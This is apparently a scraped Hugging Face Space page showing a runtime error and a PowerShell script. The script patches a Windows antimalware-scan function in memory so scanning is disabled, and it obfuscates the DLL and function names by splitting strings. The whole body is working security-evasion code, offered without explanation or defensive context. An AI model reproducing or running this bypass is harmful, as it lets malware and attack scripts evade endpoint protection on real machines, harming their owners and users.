Spaces:
Runtime error
Runtime error
$count | |
$Win32 = @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class Win32 { | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32")] | |
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten); | |
[DllImport("kernel32")] | |
public static extern IntPtr GetCurrentProcess(); | |
} | |
"@ | |
Add-Type $Win32 | |
$LoadLibrary = [Win32]::LoadLibrary($a + "i.dll") | |
$Address = [Win32]::GetProcAddress($LoadLibrary, ($a + $b + $c + $d)) | |
$oldProtect = 0 | |
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$oldProtect) | |
$oldProtect | |
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) | |
$bytesWritten = 0 | |
$hProcess = [Win32]::GetCurrentProcess() | |
[void][Win32]::WriteProcessMemory($hProcess, $Address, $Patch, $Patch.Length, [ref]$bytesWritten) | |
$bytesWritten |